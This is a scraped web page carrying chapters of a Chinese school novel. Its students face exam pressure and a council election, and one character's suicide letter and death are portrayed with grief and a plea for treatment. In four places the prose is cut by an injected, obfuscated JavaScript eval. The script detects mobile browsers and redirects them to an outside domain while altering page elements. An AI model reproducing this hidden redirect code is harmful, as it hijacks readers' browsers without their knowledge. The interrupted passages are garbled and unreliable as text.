现在有必要了。陈向然这么想。但随之内心有些不安，因为自己翻墙的地方离那儿可是太近了。 楼外，夜空卷裹着乌云，成团压向山丘大地。 “明天再捡吧。”程希的上铺朝阳台探头说，“快熄灯了。” “唉，果然不能太开心，乐极生悲啊。”程希捂着脸从阳台回来，“我刚还想跟你们宣布一个好消息。” “不就取消午自习么？”程希的上铺说，“我以后中午可能还是会留教室自习，没什么区别。” “不。”程希冲他摇摇食指，“是新会长人选，已经出来了。” 全宿舍化身长颈鹅：“谁？” 程希把头伸进走廊左右勘探，又神秘兮兮地锁上宿舍门。陈向然和其他人一并将耳朵凑去，只听他压着气儿说：“老会长没得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301952|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连任，那个胡晟学长也没当上。新会长是纪，封，道。” “哦嚯！” 整个宿舍刚发出欣喜的惊叹，程希便用力发出“嘘——”的长声：“别高兴太早，现在还是准会长，考核过了才能正式走马上任。” “得了吧，准会长就是准能当上会长，我听一学姐说了，每年都这样。” “他当会长可太好了，我们班跟他们班熟，应该会照顾着点。让前任那变态见鬼去吧。” “然哥，你怎么不太高兴啊？” 陈向然从沉思中回过神，眼前一晃一晃的，是程希的小猴爪子。 他不太关心新一任风纪会长是谁，脑子里只有程希掉下楼的脸盆。尽管任何人去捡回脸盆也不会发现。即便发现了，也不会有人联想到翻墙出校这一步。哪怕真有人想到了，也不会立马联想到他身上来。 他发现自己打开学以来，或是竞选风气弥漫以来，又变得疑神疑鬼。他果然还是讨厌这个学校，讨厌被迫陷入准军事化高压的所有人。讨厌那个成绩往顶峰上升、情绪却往低谷里坠落的自己。 他不知道自己为何反复又长期地陷入痛苦。 “我……”他还没说话，林岚的电话一下打进来，便晃晃手机说：“我接个电话。” 林岚说，看到他周考的成绩了，离全班第一的刘永凡越来越近了，还要继续努力。 他对刘永凡，开始生出一丝警惕来。 第二天，傍晚云层又烧作一团岩浆，向天际翻滚。 陈向然如约翻墙出校，跑到巷外。这些日子更累了，更难捱了。他胸中有股急切，迫不及待地到齐怀生每次等待的位置。 但那个位置此时是空的。 风撩过墙根下破土的荒草，草根轻轻摆动着。 他有些慌乱，没来由地有种被抛弃的、不好的预感。 待他反应过来，他的身体已经走在前面，在街里跑起来。他撞过几名路人的肩膀，不顾别人的谩骂继续跑，一路跑进居民区地段，左顾右盼不见齐怀生。下一刻不小心撞上一人。 他一个趔趄摔倒在地，对面也好不到哪去，硌着一块石头，正坐在地上揉按小腿。 “你没事吧……” 两人同时言语，也同时抬头看向对方。 陈向然一下认出来。 常常在走廊上打照面，他太熟悉这张忽远忽近、挂着轻飘飘的笑容的脸。 也是学校里最近谈论的焦点。 纪封道。 “你好啊，陈向然。” 纪封道笑了，在陈向然的印象中他总是这样笑着的，看着亲切，很多人愿意接近他，又隐隐有些疏远。他这时背着火红的夕晖，硕大的阴影巨兽一样匍匐在陈向然身上。 “啊……”陈向然愣愣地说，“你知道我？” “信海的文艺小王子嘛。”纪封道仍在微笑。 两个人互相搀扶着站起来，老街那头便传来一声引擎轰鸣。齐怀生骑着小电动呼啸而来，看见陈向然，一个甩尾刹住车，摘下头盔：“抱歉，陈向然，刚刚有点……” “事”还没说出来，他看到刚刚才见过面的老“客户”就站在边上。 纪封道的眼神若无痕迹地掠过二人，摸着下巴，似乎觉得有趣：“原来陈向然，也认识生哥啊。” 34. 相信 担忧如滚烫的蒸汽，渐渐达到了顶点。 尽管纪封道主动保证了，什么也不会说，说了对他没有好处——陈向然想起他已经当上准会长，现在是他的考核期。 可身体里依旧涌动着莫名其妙的不安。好像水面下可怖的巨物即将浮出水面一样，他有这样的预感。 “原来如此。”纪封道左右看着他们两人，“我先前也猜测过。” 陈向然盯着他：“什么？” 纪封道笑了一笑，视线转向身后日落下的山川剪影，又缓缓转回来，看着他，没头没尾地说：“你果然不认识你自己。” 陈向然动了动嘴角，眼里带着秋夜湖水那样的冰凉：“怎么说？” 纪封道将他拉开两步，远离了齐怀生，上下打量了两眼，颔首，像是在思考什么。 “我观察过你，”他说，“你对人笑——只在和人打交道的时候笑，口齿伶俐，但其实不喜欢交谈。以前我觉得你过分虚假。但我意识到我为什么会观察你，因为我也和你一样。只不过我觉得……”他搭着陈向然的肩膀，错开侧脸，在他耳边幽幽道来，“人还是要有真实面对自己的时候，对吧？” 说罢，纪封道从他身边退开，朝紧盯着他的齐怀生扬扬下巴：“生哥如果告诉你该做什么，尽量听他的吧。”他拍拍陈向然的肩。 齐怀生抱着头盔，一直注视着这边。 纪封道拖着缓慢的步伐，往学校的方向走出几步。不过几步，又停下来，回过身，轻轻一鞠躬，才真正离开了。 陈向然看着他，近来一直有某种感觉。 这种感觉愈来愈强烈。他常常很自然地，注意到那些情感缝隙里的一丝一线。譬如他看见纪封道亲切的皮囊下，那些傲慢的自我厌弃。 他伸手覆住自己的后脑，川流不息的神经网络那样敏锐，好像只需一个蜻蜓点水，便随时会借由身体发出警报。 他不知道自己身体里的哪个地方，出了什么问题。 纪封道刚刚开启他的思索，便道别远去了。齐怀生伏在小电驴车把上，说，他每次和人说再见的时候，都会像这样浅鞠一躬。好像有种特别的郑重。 陈向然只是木木地注视他的背影，忧虑有如烈日下的波浪，滚烫地在胸口奔涌起伏。 “怎么了？”齐怀生只是碰了他一下，便把他吓得跳了一跳。 “没……”他试图平静下来。 只有齐怀生在身边，让自己平静才变成一件容易的事。 陈向然捂着胸膛，微微低头：“刚开学，心里有点排斥吧。” 齐怀生看着他，很久没出声。 “排斥成这样？”他轻轻捏过陈向然的下巴，左右观察，“你通宵的脸色都没这么难看。” “刚才……”陈向然支吾半晌，才闷声说：“以为你忘了……” “忘了什么？” “忘了我。” “啧。”齐怀生看向街边一根延伸出无数胶皮线的电线杆，忍了会儿笑，才转回来注视着他，“我忘什么，都不会忘了你，行不行？你那撤销寄宿的申请还没回音吗？” “再等等吧。”陈向然说。 今天哪儿也没去，他们只是在街里来回地散步。齐怀生解释说，纪封道是他专门在海中的后街蹲到的。上回他几次请求齐怀生他们帮忙，前后算下来，还欠着一个人情。 “你们学校真累。”齐怀生说，“太拼了，身体扛不住。” 陈向然笑笑：“扛不住的下一副重药，很快就恢复了。” “所以我跟纪封道取取经，他说，那个……”齐怀生蹙了蹙眉，像是不知道怎么开口。 他这次的沉默有点长，陈向然等了很久也等不来下文，只看着他壮胆一样点了根烟。 上一回见他这么无奈还是在派出所。每次当他难过、压力、无措的时候，这缕轻烟一定会袅袅升起。 “说什么？”陈向然追问。 “最近还幻听吗？” “寒假有。” “陈向然，”他叹出一口浓白的烟雾，“你考不考虑，去一下医院？” “去医院干什么？” “嗯……比如做一下全身检查……之类的。” “因为幻听？”陈向然倏然想起他说过，何晋也曾有过幻听的症状，“幻听只是压力太大了，是吗？” “压力大，身体才容易出问题，检查一下好。” “好。” 齐怀生扭头看他。 他没想到陈向然答应得如此爽快。 他们散步到石川中学。面前是学校围栏，栏杆后的操场无数人呐喊、运球。身后是日暮群山，黑影连绵。 齐怀生凝视着陈向然的眼睛，晚风迎面撩起他的发丝，晚霞将他原本黯淡的眼睛映上一层光亮。 他眼神又变得很轻，像那天在山顶上，浑身卸下了什么一样，在齐怀生面前露出柔软的面貌。齐怀生忽觉心口一跳。像看到一只流浪猫崽垂下警惕的毛发，向他露出肚皮。 手不由自主跑到陈向然柔软的头发上，揉搓着，虚揽了一下，陈向然的肩膀便与他的肩窝相碰。 他说：“你想什么时候去？” “下周。”陈向然紧贴着他，“等我彻底搬出来，再打算。” 齐怀生重新恢复了酒吧驻唱。 他在微信里告诉陈向然，他还在视频网站上注册了视频号，上传弹唱的音乐视频，获得了一些关注。达到一定的关注量后，他便会多一份收入来源。 但他也开始忙碌了。打工和补习同时恢复，陈向然也无法时时再见到他。 见不到他也不介意。陈向然想到他的一切都在向好了走，这比什么都令人开心。前段日子的心悸和忧虑一扫而空，他甚至不能理解那样无凭据的担忧，连上课都在心里雀跃。 刘永凡烦躁地扶着眼镜——他鼻梁不高，一出汗，眼镜就顺着鼻梁滑梯似的往下掉。他摘下眼镜擦汗，顺便用笔戳戳陈向然：“别动了行不？” 陈向然才发现自己兴奋得直抖腿。 “这几天这么开心？有喜事啊？”刘永凡难得会问他除成绩和纪律外的问题。 “没什么。”他摁住自己的腿。 “还没什么……不就收到情书嘛，躲躲藏藏神神叨叨的。” 刘永凡一说，陈向然便感受到来自四面八方的视线，和听不清字句的窃窃私语。 陈向然“啧”了一声：“那敢情好。倒是说说情书在哪？” “这儿。”刘永凡一爪子伸进他桌腹里，抓出一个信封，拍在他课桌上。封口贴得紧，信封正面一行秀逸的字迹写着“陈向然收”，除此之外没有别的内容。 他从未和任何人通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301953|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信。信封上也没有邮票邮戳，是谁写的，一点头绪没有。他正打算拆开，就听见下课铃响起。 来不及看，他又将信件塞回桌腹深处。 放学了，他赶着去后街，听听齐怀生的场子。 他游荡在齐怀生充满才华的音律中，心里随之流动起来，如小舟，如花瓣，如积水里漂浮的一片自由的落叶，轻盈地，顺水而流。他看向舞台，陈旧劣质的灯光勾勒出少年孤单又轻盈的灵魂。 他从曲里获得一些久违的、流动的情感，再到巷头酒吧，将这些情感搬上画纸。到了周末再向陆引讨教，评判画中优劣。 他唱，他绘。少年的默契和理想在夹缝中破土而出。 这样明媚的日子被一抹红色打断。 流血了。 陈向然看到那一幕的瞬间，脑海里只有这么一个念头。 有血，一团又一团红色的纸巾，一滩又一滩的血渍。都是从同一个人头上流下的。这个人他认识，全校许多人都认识，就是和纪封道结过梁子的胡晟学长。 学长就坐在活动大楼一楼的拉闸门下，倚靠着墙，半边脸凝固着暗红的血迹。血流不止，狼狈至极。 “嘿，然哥。” 陈向然吓得猛抖了一下。 “干嘛呢，平时不见你胆这么小啊。”程希从身后探来一个脑袋。他猴里猴气地蹦着，催他一同回宿舍，下一秒他顺着陈向然的视线望去，望见那摊腥红，猴子便被施了定身术，呆立原地。 良久，他说：“靠，活该。谁干的？我给他颁个诺贝尔和.平奖。” 陈向然叹气：“你很开心么？” “咱们学校，没宣布的规定也扣分，就因为有这种人在。” 今天的黄昏依旧红透了半边天，金红的云层翻滚。陈向然稍一抬头，残阳也是浓烈的血，晃得他一阵晕眩。他闭了会眼睛再睁开，看见纪封道走进教学楼。看上去是从胡晟所在的地方过去的。 许多人围在胡晟身边，刘永凡也在现场，他似乎在等着什么，等一个结果，或是等着帮什么忙…… 是了，现场不需要帮忙，刘永凡也不是在等待结果。除了主持大局的那位学长，每个人都在等待一个机会。 一个替代纪封道，成为下一任会长拿到自招推荐的机会。 “纪封道多次威胁胡晟学长的人身安全。”主持大局的学长一下将纪封道判下刑罚，“他在高一楼教室，现在需要一个人去告知他扣分及撤职，按我们平时的通报流程就行了。” 程希两手枕在脑后：“学长得偿所愿，流点血不亏。” 是啊，只要走上这个流程。可胡晟招来一个瘦小的男生，将记分表和笔塞到他的手中，指了指高一楼的方向。 陈向然睁着眼睛出神。 “他没去。” 程希踮起脚尖：“噢对，我忘了，纪封道身体不好，谁也惹不起。敢去通报的都是志在必得的狠人。” 纪封道身上，有令学长顾虑的东西。 身体不好…… ——“陈向然，你考不考虑，去一下医院？” ——“比如做一下全身检查……之类的。” 晚间，狂风贴地呼啸，将他乌黑的发丝一股脑地翻飞起来。 陈向然想到，齐怀生特意找到纪封道，不只是讨要解压经验这么简单。 35. 知觉 清明小雨，细密如丝。 这天周日，陈向然绘画课结束，随程希回校。 荧黑的私家车一直开到校门前一段倾斜的路，陈向然撑伞下车。迈出几步，发现几十米开外，齐怀生用跟以往同样的姿态等待他。 他倚坐着电动车。为了挡雨，头盔也没摘，微驼着背，天上云影像一层灰雾笼罩在他身上，落在他蹙起的眉间。 他就那么杵在毛毛细雨里，手里攥着一盒烟，那样默默地等着。 陈向然心里一颤，想起自己从见了纪封道以后，似乎就比以前更像个闷葫芦。沉浸在自己的世界中，一遍遍错过齐怀生的苦闷。 明明每个人都背负着苦楚。每个人都有等待别人宽慰的时候。他想。 “看什么呢？” 小猴子踢了他一脚。他回过神来，荧黑私家车已经被开走了。 他摁了程希一把：“你先回。” “怎么啦？你要去哪儿？”他伸伸脖子，四下张望——看见了齐怀生，即刻把陈向然往身边拉，“你要不等会再走？” “为什么？” “你看。”他夸张地抬着下巴，“那个，生哥，混老大，最好别碰上他。” 陈向然顿时不悦。 “你进去，我走了。” “哎喂……” 程希伸出一只手，陈向然已经撑着伞走远。他轻叹一口气，只能独自走进学校。 陈向然时不时注意身后，确定程希已经进校，忽然小跑起来。踩过地上的小水洼，水泼湿了裤管，只留下涟漪微泛。跑到电动车边，手一伸，伞下便多罩了一人。 齐怀生愣了一愣。 他紧绷的脸色稍稍松下来：“还以为你傍晚前不会来。” 陈向然弯下眉眼：“今天老师有事，课后没留我。” “没耽误你事儿就好。” “今天有什么事？我奉陪。” 齐怀生没说话，只是拿过一个湿漉漉的头盔，给陈向然戴好。 周末的后街没什么人影，小电驴突兀地在街上轰鸣。齐怀生一直开到通往河边的那条巷子口，将车停在电线杆旁的停车区域。 陈向然不再问他，默默替他举着伞。两人沿河而行，步入山路。青石板潮湿，陈向然的运动鞋不防滑，齐怀生便时不时搀扶他。他们相互依靠着，漫步在清明的纷纷细雨中。 走过这一段，陈向然明白了，他要去山顶的林峰古寺。 这一次见到的山峦是湿的，阔叶林的树冠冒着细嫩的绿，遮挡了一部分雨水，叶尖却也落着雨滴。陈向然一刻都不打算收伞，最后伞柄被齐怀生拿去——他更高一些，拿着顺手。 长长的黄土路自眼前通天而去，他们走了很久。也许是因为下雨，也许是因为别的，齐怀生今天放慢了脚步，朝圣似的，走完了这段上山的路程。 出家人的日程仿佛风雨无阻，林峰古寺今日仍然开着门，报时的钟声依然准点敲响。门口还有人发派免费的香火。每人能免费领取三支，多的需要在寺里的小卖部购买。 陈向然拿到免费的三支香，抓着齐怀生的袖子随他四处闲逛。髙殿肃然，檀香和雨后的植物清香混在一起。 齐怀生说：“没时间回去祭拜我妈，就用这种方式替代。” 他们进了三川殿，上完香，拿跪垫当凳子，在殿里久久静坐。 齐怀生抓了把头发，低垂着脑袋，直到陈向然的手轻轻覆在他肩上。 他抬起头来。 他看上去忍受着一些回忆的折磨，一些陈旧的、惯常的苦痛又一次找上他。这些回忆里有光亮，以及因这光亮而生出的巨大的遗憾。 “她是雷雨天去世的。”齐怀生忽然说，“像你看到的那幅画一样。” 陈向然点点头，表示自己记得那幅画。 “但她坐在海边画这幅画当天，是一个大晴天，阳光很白，很烈，还有些刺眼，海上都是粼光。但她画了极端相反的场景。类似的画还有好几张，她在风平浪静的时候画电闪雷鸣和波涛汹涌。” “我那时不理解，但没有深究。如果我早点想到她画的是心境……”齐怀生转过来，面无波澜地凝视陈向然，“如果早点想到，也许有挽回的余地。她不会在海水里浸泡几天几夜，才被渔民捞上来。可是没有如果。我不想在过去里出不来，所以我只能去阻止。别再有……别再有这样的事情发生。” 陈向然也看着他的眼睛听他诉说。听到最后一句，心想这样的事，这世上明明无处不在发生。 但是陈向然说：“嗯，你能做到。” 齐怀生笑了笑：“真的？” “真的。” 他拄着头侧，挑了挑眉：“啧，看不出，你还会安慰我。” “小看人啊。”陈向然说，“齐怀生，你已经做了当时能做的，对吗？所以不必后悔了。” “嗯。”齐怀生随手揉乱了他的头发，再一撮一撮地替他捋直。 他们与寺里的出家人聊了会天。有位师傅问他们是否上山来扫墓的，齐怀生说墓碑远在老家，师傅便明白了。说这山中清静，但节假日还是有些客流量的，毕竟县里就这么一个庙。寺庙就靠节假日人们买祭祀用品和上贡的金额运转。 陈向然随这位师傅逛逛寺庙，庙里人每日淡饭清斋，打坐唱经，看上去不多花销。师傅说，除了分发补贴，钱大多用于寺庙修缮扩建。目前大家在商讨明年再多建一殿。 这样的生活也算自在。他这么想着。 走出寺庙时，雨已停了。晚霞像一滩鲜艳浓稠的油彩，随意地在天空上涂抹。黄昏天晴，山林草木一片金灿，两人下山却还打着伞，遮挡枝叶滴落的水珠，紧紧依靠在伞下。 他们在海中校门口道别。 陈向然回到教室里，抽出习题册来。他不知什么时候起，总是不由自主地瞄一瞄刘永凡，看他在做什么、写到哪了、考了几分等等。像一个身在敌营的间谍，想要知己知彼。 不知不觉，他已经将自己的同桌看作了“敌”。 他两手捣进课桌里，摸拿习题答案，却摸出一封信来。 是上回刘永凡替他搜出来的那封。 春天，山里气候潮湿，信封也受了潮，捏握起来软塌塌的，封口也更容易撕开。 陌生的、不知来处的信笺，他心里骤然紧张地跳起来，撕开封口，拿出里面的信纸。用的是铜版纸，两张折叠在一起十分厚实。 陈向然先看了落款，眼睛逐渐睁大。 纱帘被冷风高扬，斜阳入室，深而黯的金红光线晃了眼睛，他偏头，隔着六排单人课桌和模糊的光晕，与走廊的某张脸遥遥相望。 那是纪封道，可陈向然今天有些不认识他，因为比起他平时似近而远的微笑，此时神情阴郁，仿若那无数铁索缠身、被永世禁锢的鬼魅。 纪封道与他相望只有不足一秒的刹那，紧接着他往人少的楼梯间走去。 陈向然从这个角度正好能看到一半楼梯间的门。他目送着纪封道似的，直到他的身影、他的暗黄色帆布鞋在楼梯口消失。 他收回目光，打开信纸。入眼第一行： “这是生哥拜托我告诉你的一些事，他认为我可以更详细、且委婉地说给你听。” 他并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301954|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意外，接着看了下去。 “可我并不打算以他的方式告诉你。所以他让我不能提起他，我也不能做到。” “陈向然，你有艺术才能，因而你时刻凝望虚空，见我们所不能见，想我们所不能及。有些时刻好像听着一些我们听不到的声音。如果来得及的话，我很想知道那是一些什么声音，是悠扬，还是乏味，又或者将你深深刺痛。” “少有人知道你听见声音，就像少有人知道我向往山里那湍急流，它能让我的一切痛苦就此结束。” “但不可以，因为那不够。” 一双穿着暗黄帆布鞋的脚一步、一步沿着楼梯而上，教学楼一片死寂，整个学校都仿佛只剩一片死寂。那脚步声清晰而坚定，他向上方的明亮的光域而去。 “陈向然，如果我们是被人间抛弃的人，或许可能被星辰接纳。记得我和你说的吗？你根本不明白你自己。因为当世界充满了‘有用’和‘上进’、‘突破’和‘超越’的论调，就不会有多少人好好关心一下自己了。” “你生病了，陈向然，而你还不知觉。” “但你还有机会。生哥要你一定一定好好治疗。千万不要走到如我一般，一切无可改变的地步。生哥的交代到此我已经完成了。” “但我觉得还应该再说些什么。” 黄色帆布鞋沐浴在金红的暮光和高处的狂风之中。它往前一步、两步，踩上一级更高的石阶。 晚风迎面而来，吹动纪封道的衣领和发丝。 “我常常想家应该是什么样子。是不是没有也挺好的。我父亲是不是真的一切都是为了我好。他说退步一名就要受一竹鞭，进步一名他可以满足我任何要求。可直到我再没有前进的余地时，他只是很高兴，觉得自己的教育有了成效，笑着和我说，规矩还是老规矩。” “他的竹鞭很疼，一下就像把人的灵魂抽散一样。他告诉我将来应该上什么学校，读什么专业，应该有什么样的未来。好像除此之外，都不足以让一个普通人普普通通地活下去了。” “在他手里我发现，我十六岁了，我依然羸弱。曾经的理想也失去了意义。我已经无法、也不会继续在这样的掌控下活着。所以很久以前我就想，变成一粒尘埃吧，或是无数尘埃，离开那些单一的价值、单一的道路、唯一的功利，散在人间每个角落。我消失了，但我还想给这个世界，给为我好、希望我更加‘优秀’的父亲最后一次叩首。” “这是我最后的尊严而已。我写下来，并不需要谁的成全。” “我从生哥那听说过你的事情。陈向然，莫要相信所有为你好而让你痛苦的人，莫要掩藏和否认你的疲倦和绝望。” “我知道你不会那么快看到这封信，只希望当你看到的时候，我或许还能跟你说一声……” “再见。” 黑夜啃噬黄昏，狂风乍起。 陈向然怔怔地看着手里的信，不一会儿，他似乎用余光看到有什么东西从窗外闪过。他猛然站起，教室里回荡着课椅擦过地面的尖叫声，脑海中的那根弦骤然崩断。 天地间仿佛发出一声短暂而沉重的哀鸣。 所有的声音都那样不真实。他的意识渐渐清醒，听见有警车开进了校园。他跑出教室，从走廊望下去，无数人聚集在楼下小广场，警笛长鸣，红的蓝的警示灯旋转闪烁。警察正在维持秩序，拉起了警戒线。围观学生有尖叫有哭泣，小广场霎时混乱不堪。 他不知怎的，想起申恺那日朝天仰首，敞开怀，高喊： 青春。 青春啊…… 有些人的青春，扑向了满天星辰。 36. 背拥 “那个通报扣分的真是个勇士，把人都扣走了。” “让他这样发病，勾结石中那群流氓也不行呀。” “一开始就不该选他当会长，对封道也没什么好处。” “别说了，人都走了。” 纪封道的事传得快，哪都有人议论他扣分撤职刺激了病情。 陈向然捏着沉重的信纸，极平静，什么话也说不出。 校会上校长演讲，沉痛悼念，说纪封道同学除了压力过大，先前与石中混混的不良互动，也是他去选择一条不归路的很大诱因。 “为了保证学生的安全，顺便加强学习监督，即日起实行全封闭式管理。除了周末，平时不得在任何时间出校门，只可由家长入校探视。” 校长如是说道。 全场骤然掀起浪潮般的议论和谩骂。陈向然脑袋一嗡，下会后第一时间跑到政教处，寄宿撤销申请果真被退回，因为接下来的全封闭，意味着走读也被明令禁止了。 那封令他精神空白了好几天的信还躺在桌肚深处，他一时间难以思考，难以呼吸。闭上眼，警灯、齐母的画卷、深红的黄昏，脑海里画面闪烁不定，头突然疼起来。 他咀嚼着齐怀生说的“后悔”，那些“本可以”的声音像苍蝇一样在他脑海中窜飞。他本可以提前知道一切，本可以去阻止。 起初他没有任何感觉，像在奔流的河道上筑起了百米大坝。 情绪被堵截，无从感知和泄露，却通过肢体叫嚣出来。某个时刻起，他的手脚开始发软，以至于翻过学校围墙时，他被墙顶绊了一脚，便从三米高的墙上摔下来，蹭了些皮外伤。 他感觉自己像是一个装了石头的麻袋，在潮湿的地面上蜷缩了一会，才缓缓爬起来，脸上滑下一片湿漉漉的腐叶。 轰隆隆，滚过一声春雷。 他就那么摇摇晃晃地走在后街上，仿若一具行尸走肉。他找不到齐怀生，用微信不停地给他发消息，打电话，发消息，打电话…… ——接电话，接电话，齐怀生…… ——到底在哪…… 他惶惶不知去处，像个找不到家的迷失的小孩，站在湿凉的春雨里。 正要再抬起沉重的脚，背后突然伸来双臂，紧紧搂住他。 抱着他的那双手握着一个手机，屏幕上全是他的未接语音和信息。 “别慌。”齐怀生的声音近在耳旁，“我都听说了。” 雨又下大了。冰凉的雨丝落在头顶、身前，但后背依旧是暖的、安全的。陈向然听到他心脏跳动的声音，感受到温度，渐渐镇定下来。 “封闭的消息……也听说了吗？” “什么？” “全面封闭，我不能搬出来了。” 齐怀生没有说什么，只是沉默着。 他埋在陈向然肩上深呼吸，说：“没关系，你还像这样出来，我还陪你画画、做题，你也可以帮我讲题……”齐怀生将他翻转过来，与他面对面，但陈向然软趴趴地靠在他身上，不愿起来。 齐怀生叹了口气：“陈向然，我们——” “齐怀生。”陈向然打断他。并不想听到他接下来的话，“你平时喜欢喝什么酒？” 齐怀生扶着他的肩膀，不解他为什么问这个：“啤酒、桑葚酒、烧酒……” “就烧酒吧。”陈向然抓住他的袖子，“去谭哥那儿。” “陈向然。” “陪我喝，齐怀生……”陈向然执拗地说。 齐怀生拗不过他，带他到巷头酒吧，吧台前点了一杯烧酒。任陈向然怎么央求，说什么都不肯点第二杯。自己还先喝掉半杯，剩下半杯挪给他。 酒是谭持亲自倒的，他感到气氛不对，退离三米，默默清洗客人用过的杯子餐具，从眼角瞄去——陈向然正趴在吧台上，一副空白呆滞的模样。齐怀生则忍耐着烦躁，一遍遍地劝他，说他平时不喝酒，第一回喝有些度数的，不能多喝。 最后，陈向然半杯烧酒灌下去，被辣得直咳嗽。 齐怀生给谭持暗暗使了眼色，让他把酒瓶酒杯收走。而后默默地轻抚陈向然的后背，发觉他背后湿了雨水，还沾着泥土，便替他脱下外套，拎在手上。 大约过了一分钟，陈向然才止住了咳。 他沉思片刻，说：“烟……” “什么？” “你们平时，都喜欢抽烟。” “我们？” “你和晋哥，申恺。” 陈向然还没说什么，一根烟伸到他面前，他看着白花花的烟卷，和烟尾处的一截暗黄色，伸出手指夹了过来。 “去外面。”齐怀生嘴上也叼了一支，手里拿着火机，“不要在室内抽。” 酒吧大门一开，冷风侵袭，春寒料峭。 站在雨檐下，陈向然将烟叼在嘴里，伸手跟齐怀生要火。 齐怀生没给他，盯着他嘴里的烟，要笑不笑地指了指：“反了，滤嘴在这头。” 陈向然拿下来观察两眼，换一头重新叼上。 雷声如鞭鼓，由东南向西北滚滚而去。地上半鞋高的积水顺着地势哗啦啦流入下水道。 “嚓”，齐怀生打亮了火机。他们同时将烟支伸进火苗。额头几乎要碰在一块。 火苗熄灭，香烟末端火星微亮，陈向然抽了一口，重重一咳，咳出一口白雾。 齐怀生熟练地呼出烟气：“怎么样？” 陈向然倔强地抽了第二口，这回掌握了一点要领，却还是被呛个好歹。 “不行就算了，下次再练。”齐怀生夺过他的烟。陈向然伸手要抢回来，就见他以迅雷不及掩耳之势放到嘴里，用力抽了一口。 陈向然一愣。 悻悻收回抢夺的手。 齐怀生两支烟轮流着抽，抽得很猛，烟灰洋洋洒洒落得很快。陈向然才想起他说的海上的故事，想起他说，他的母亲就是在这样的雷雨天落海去世的。紧接着想起纪封道说他生病了的论调。 他是不是总让齐怀生想起不好的回忆？ 两支烟各抽了三分之一，齐怀生才慢慢冷静下来，说：“陈向然，我们请个假去医院，好不好？” “我不需要去医院。”陈向然摇摇头，“齐怀生，我跟纪封道不一样，我不是生病，我只是累了。你……” 陈向然没了下文，他已经看不下去齐怀生汹涌的烟雾。 “别抽了。” “就许你自己抽啊？”齐怀生嘴边还冒着乳白色的烟雾。 陈向然夺了他的烟，两根一起在地上摁熄了，扔进酒吧门口的垃圾桶。 “我也不抽了。”他说，“我不抽，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301955|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不许抽，这样可以吗？” 他鸿毛般的、飘忽的眼神落在齐怀生身上，齐怀生只与他对视须臾，便别开脸：“我尽量。” 他们就这么蹲在雨檐下，缩成团，相互依靠着取暖。不进酒吧——因为酒吧里有不少客——也没有借伞离开。 雨像弹珠一样，咚咚落在头顶的铁棚上。 六点，山顶的大铜钟“当、当”地震响，声波一下笼罩住群山小镇，人间一切冷暖都仿佛被这样庄严的钟声包容着。 陈向然被钟声唤醒思绪，忽然说：“我想离开这里。” 齐怀生扭头看他。 “我想念海，不是那天在广场上看的。是像我老家那样，有船、有鱼、有蟹有礁石，可以站在浪里的那种。”陈向然和他对上目光，“想回海边去。” “那简单，找个时间去一趟。我也顺道看看你家什么样。”齐怀生笑。 “回不去了。”陈向然凝望低压压的灰蓝色天空，轻叹着说，“现在回去，只有推土机和黄沙地。” 他的家乡本留存着上世纪的老房子，灰瓦窗棂，雕梁画柱，承载了几代人的岁月记忆、历史痕迹。而今朽去，推作一砵黄土。他身体里的某一部分仿佛也跟着那些倒下的屋墙一同死去了。 过了一会，齐怀生说：“那去我家。我家也有海。” “真的？” “我把我家一切，都介绍给你。去山里，去海上。” “嗯。”陈向然低头数着地上的蚂蚁，刚数了几只便忘了数，喃喃说，“我只是待不下去了……这里的一切让人无法呼吸。” 他们蹲一会儿，又站一会儿，倚着破损的红砖墙，直到夜幕降临。昏暗处，酒吧门口广告牌冒着符咒一样的红光，墙角一盏灯罩已然生锈的挂灯，挨着湿漉漉的、同样生锈的水管。他们脸被劣质灯泡黯黄的光映得明明暗暗，暧昧不清。 雨棚上积了水，珠帘般滚落下来。 两人之间的话题从南到北，不断跳跃。陈向然问他，很喜欢音乐吗？会一直写下去吗？ 齐怀生说会。 